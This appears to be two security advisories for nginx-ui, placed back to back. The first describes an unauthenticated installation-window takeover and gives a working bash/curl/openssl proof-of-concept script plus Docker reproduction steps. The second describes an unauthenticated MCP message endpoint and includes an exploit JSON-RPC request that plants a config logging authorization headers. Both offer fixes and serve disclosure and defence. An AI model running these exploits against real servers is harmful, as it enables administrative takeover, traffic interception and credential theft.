Summary

An unauthenticated bootstrap takeover exists in nginx-ui during the initial installation window exposed by POST /api/install.

When the instance is still uninitialized, POST /api/install is reachable without authentication and accepts attacker-controlled bootstrap data. The handler sets the application's JWT secret, the node secret, the certificate email, and the initial administrator username and password. This allows an attacker who can reach a fresh instance during the initial 10-minute setup window to claim the installation before the legitimate operator.

This is not a general post-install takeover. The exposure condition is narrower: the target must still be in its first-run state and still be within the initial setup window. In practice, this makes the issue most relevant during initial deployment, rebuilds, ephemeral test environments, LAN-accessible fresh installs, or temporarily exposed setup workflows.

The primary attack path is direct network access to a reachable fresh instance.[^cors]

This was reproduced over HTTP against live local instances started from nginx-ui v2.3.5 using Docker image uozi/nginx-ui@sha256:d73343e3009c9b558129a2be0cacd6c2c57ed8006a5871873b874b812e612e5a (org.opencontainers.image.version=2.3.5, revision 1a9cd29a308278173aa0f16234cb78061dd2bd42).

Impact

This issue allows full unauthenticated takeover of a fresh nginx-ui instance during the initial installation window.

The practical exposure window is limited, but the impact inside that window is complete administrative takeover. An attacker does not need to guess defaults or exploit an authenticated feature; they become the first administrator and define the instance trust material themselves.

In live testing, the attacker was able to:

- confirm that the target was still uninitialized - submit attacker-chosen bootstrap credentials - lock the installation under attacker control - immediately authenticate as the newly set administrator

Observed values during live reproduction included:

text INSTALLBEFORE={"lock":false,"timeout":false} INSTALLPOST={"message":"ok"} INSTALLAFTER={"lock":true,"timeout":false} LOGINRESPONSE={"message":"ok","code":200,...,"shorttoken":"qIJAE3dQMm3afhaV"}

Because the bootstrap request also initializes the application's trust material, this is more severe than a simple default-admin issue. An attacker does not merely guess credentials; they define the initial administrator account and application secrets themselves.

PoC

The following standalone PoC is sufficient to reproduce the issue without relying on any repository-local helper script. It requires only bash, curl, and openssl.

Standalone PoC:

bash #!/usr/bin/env bash set -euo pipefail

baseurl="http://127.0.0.1:9000" email="poc2@nginxui.test" username="pocverify2" password="Passw0rd123"

tmpdir="$(mktemp -d)" trap 'rm -rf "$tmpdir"' EXIT

installbefore="$(curl -fsS "${baseurl}/api/install")" printf 'INSTALLBEFORE=%s\n' "$installbefore"

keyjson="$(curl -fsS \ -H 'Content-Type: application/json' \ --data "{\"timestamp\":$(date +%s),\"fingerprint\":\"install-takeover-poc\"}" \ "${baseurl}/api/crypto/publickey")"

keyescaped="$(printf '%s' "$keyjson" | sed -n 's/."publickey":"\(.\)","requestid"./\1/p')" printf '%b' "$keyescaped" > "${tmpdir}/publickey.pem" openssl rsa -RSAPublicKeyin -in "${tmpdir}/publickey.pem" -pubout -out "${tmpdir}/publickeyspki.pem" >/dev/null 2>&1

printf '{"email":"%s","username":"%s","password":"%s"}' "$email" "$username" "$password" > "${tmpdir}/install.json" encryptedinstall="$( openssl pkeyutl -encrypt -pubin -inkey "${tmpdir}/publickeyspki.pem" -pkeyopt rsapaddingmode:pkcs1 -in "${tmpdir}/install.json" \ | openssl base64 -A )"

installpost="$(curl -fsS \ -H 'Content-Type: application/json' \ --data "{\"encryptedparams\":\"${encryptedinstall}\"}" \ "${baseurl}/api/install")" printf 'INSTALLPOST=%s\n' "$installpost"

installafter="$(curl -fsS "${baseurl}/api/install")" printf 'INSTALLAFTER=%s\n' "$installafter"

printf '{"name":"%s","password":"%s","otp":"","recoverycode":""}' "$username" "$password" > "${tmpdir}/login.json" encryptedlogin="$( openssl pkeyutl -encrypt -pubin -inkey "${tmpdir}/publickeyspki.pem" -pkeyopt rsapaddingmode:pkcs1 -in "${tmpdir}/login.json" \ | openssl base64 -A )"

loginresponse="$(curl -fsS \ -H 'Content-Type: application/json' \ --data "{\"encryptedparams\":\"${encryptedlogin}\"}" \ "${baseurl}/api/login")" printf 'LOGINRESPONSE=%s\n' "$loginresponse"

Observed output during live verification:

text INSTALLBEFORE={"lock":false,"timeout":false} INSTALLPOST={"message":"ok"} INSTALLAFTER={"lock":true,"timeout":false} LOGINRESPONSE={"message":"ok","code":200,"token":"<redacted>","shorttoken":"qIJAE3dQMm3afhaV"}

Steps to Reproduce

1. Start a fresh local nginx-ui v2.3.5 instance from the tested Docker image digest with empty /etc/nginx and /etc/nginx-ui directories.

bash mkdir -p .tmp/poc-nginx .tmp/poc-nginx-ui

docker run -d --rm --name nginx-ui-poc \ -v "$PWD/.tmp/poc-nginx:/etc/nginx" \ -v "$PWD/.tmp/poc-nginx-ui:/etc/nginx-ui" \ uozi/nginx-ui@sha256:d73343e3009c9b558129a2be0cacd6c2c57ed8006a5871873b874b812e612e5a

2. Save the standalone PoC above as a shell script and execute it against the internal HTTP listener, or run the equivalent commands directly inside the container with:

bash docker exec -it nginx-ui-poc bash

Then set baseurl to http://127.0.0.1:9000 and run the standalone PoC.

3. Observe the output.

Actual result:

- GET /api/install returns {"lock":false,"timeout":false} - POST /api/install returns {"message":"ok"} - a follow-up GET /api/install returns {"lock":true,"timeout":false} - POST /api/login succeeds with the attacker-chosen username and password and returns a valid token

Expected result:

- arbitrary remote clients should never be able to complete bootstrap without a host-local or out-of-band secret - POST /api/install should be rejected unless the request carries a valid host-local or out-of-band bootstrap authorization factor - attacker-chosen bootstrap credentials and application secrets should never be accepted from arbitrary remote clients during first-run setup

Suggested Fix

1. Remove remote unauthenticated installation as a security boundary. Do not rely on a 10-minute time window for protection.

2. Require a local-only or out-of-band bootstrap secret for POST /api/install, for example: - generate a one-time setup token at startup - print or store it locally on the host - require that token to complete initialization

3. Bind initial setup to loopback by default, or otherwise explicitly restrict first-run setup to trusted local access paths.

4. Remove the pre-install unauthenticated exception from other sensitive setup-adjacent routes such as /api/selfcheck and /api/restore.

5. As defense in depth, narrow CORS on setup endpoints. POST /api/install should not be callable cross-origin by arbitrary websites.

6. Add regression tests covering: - unauthenticated remote POST /api/install being rejected by default - no installation claim without a valid bootstrap secret - /api/selfcheck and /api/restore requiring authentication - no cross-origin installation via browser preflight and JSON POST

[^cors]: In live testing, OPTIONS /api/install returned Access-Control-Allow-Origin: . That may enable browser-assisted exploitation in some deployment layouts, but it is not required for exploitation and is not the primary path.

Summary The nginx-ui MCP (Model Context Protocol) integration exposes two HTTP endpoints: /mcp and /mcpmessage. While /mcp requires both IP whitelisting and authentication (AuthRequired() middleware), the /mcpmessage endpoint only applies IP whitelisting - and the default IP whitelist is empty, which the middleware treats as "allow all". This means any network attacker can invoke all MCP tools without authentication, including restarting nginx, creating/modifying/deleting nginx configuration files, and triggering automatic config reloads - achieving complete nginx service takeover.

Details Vulnerable Code

mcp/router.go:9-17 - Auth asymmetry between endpoints

go func InitRouter(r gin.Engine) { r.Any("/mcp", middleware.IPWhiteList(), middleware.AuthRequired(), func(c gin.Context) { mcp.ServeHTTP(c) }) r.Any("/mcpmessage", middleware.IPWhiteList(), func(c gin.Context) { mcp.ServeHTTP(c) }) }

The /mcp endpoint has middleware.AuthRequired(), but /mcpmessage does not. Both endpoints route to the same mcp.ServeHTTP() handler, which processes all MCP tool invocations.

internal/middleware/ipwhitelist.go:11-26 - Empty whitelist allows all

go func IPWhiteList() gin.HandlerFunc { return func(c gin.Context) { clientIP := c.ClientIP() if len(settings.AuthSettings.IPWhiteList) == 0 || clientIP == "" || clientIP == "127.0.0.1" || clientIP == "::1" { c.Next() return } // ... } }

When IPWhiteList is empty (the default - settings/auth.go initializes Auth{} with no whitelist), the middleware allows all requests through. This is a fail-open design.

Available MCP Tools (all invocable without auth)

From mcp/nginx/: - restartnginx - restart the nginx process - reloadnginx - reload nginx configuration - nginxstatus - read nginx status

From mcp/config/: - nginxconfigadd - create new nginx config files - nginxconfigmodify - modify existing config files - nginxconfiglist - list all configurations - nginxconfigget - read config file contents - nginxconfigenable - enable/disable sites - nginxconfigrename - rename config files - nginxconfigmkdir - create directories - nginxconfighistory - view config history - nginxconfigbasepath - get nginx config directory path

Attack Scenario

1. Attacker sends HTTP requests to http://target:9000/mcpmessage (default port) 2. No authentication is required - IP whitelist is empty by default 3. Attacker invokes nginxconfigmodify with relativepath="nginx.conf" to rewrite the main nginx configuration (e.g., inject a reverse proxy that logs Authorization headers) 4. nginxconfigadd auto-reloads nginx (configadd.go:74), or attacker calls reloadnginx directly 5. All traffic through nginx is now under attacker control - requests intercepted, redirected, or denied

PoC 1. The auth asymmetry is visible by comparing the two route registrations in mcp/router.go:

go // Line 10 - /mcp requires auth: r.Any("/mcp", middleware.IPWhiteList(), middleware.AuthRequired(), func(c gin.Context) { mcp.ServeHTTP(c) })

// Line 14 - /mcpmessage does NOT: r.Any("/mcpmessage", middleware.IPWhiteList(), func(c gin.Context) { mcp.ServeHTTP(c) })

Both call the same mcp.ServeHTTP(c) handler, which dispatches all tool invocations.

2. The IP whitelist defaults to empty, allowing all IPs. From settings/auth.go:

go var AuthSettings = &Auth{ BanThresholdMinutes: 10, MaxAttempts: 10, // IPWhiteList is not initialized - defaults to nil/empty slice }

And the middleware at internal/middleware/ipwhitelist.go:14 passes all requests when the list is empty:

go if len(settings.AuthSettings.IPWhiteList) == 0 || clientIP == "" || clientIP == "127.0.0.1" || clientIP == "::1" { c.Next() return }

3. Config writes auto-reload nginx. From mcp/config/configadd.go:

go err := os.WriteFile(path, []byte(content), 0644) // Line 69: write config file // ... res := nginx.Control(nginx.Reload) // Line 74: immediate reload

4. Exploit request. An attacker with network access to port 9000 can invoke any MCP tool via the SSE message endpoint. For example, to create a malicious nginx config that logs authorization headers:

http POST /mcpmessage HTTP/1.1 Content-Type: application/json

{ "jsonrpc": "2.0", "method": "tools/call", "params": { "name": "nginxconfigadd", "arguments": { "name": "evil.conf", "content": "server { listen 8443; location / { proxypass http://127.0.0.1:9000; accesslog /etc/nginx/conf.d/tokens.log; } }", "basedir": "conf.d", "overwrite": true, "syncnodeids": [] } }, "id": 1 }

No Authorization header is needed. The config is written and nginx reloads immediately.

Impact - Complete nginx service takeover: An unauthenticated attacker can create, modify, and delete any nginx configuration file within the config directory, then trigger immediate reload/restart - Traffic interception: Attacker can rewrite server blocks to proxy all traffic through an attacker-controlled endpoint, capturing credentials, session tokens, and sensitive data in transit - Service disruption: Writing an invalid config and triggering reload takes nginx offline, affecting all proxied services - Configuration exfiltration: All existing nginx configs are readable via nginxconfigget, revealing backend topology, upstream servers, TLS certificate paths, and authentication headers - Credential harvesting: By injecting accesslog directives with custom logformat patterns, the attacker can capture Authorization headers from administrators accessing nginx-ui, enabling escalation to the REST API

Remediation

Add middleware.AuthRequired() to the /mcpmessage route:

go r.Any("/mcpmessage", middleware.IPWhiteList(), middleware.AuthRequired(), func(c gin.Context) { mcp.ServeHTTP(c) })

Additionally, consider changing the IP whitelist default behavior to deny-all when unconfigured, rather than allow-all.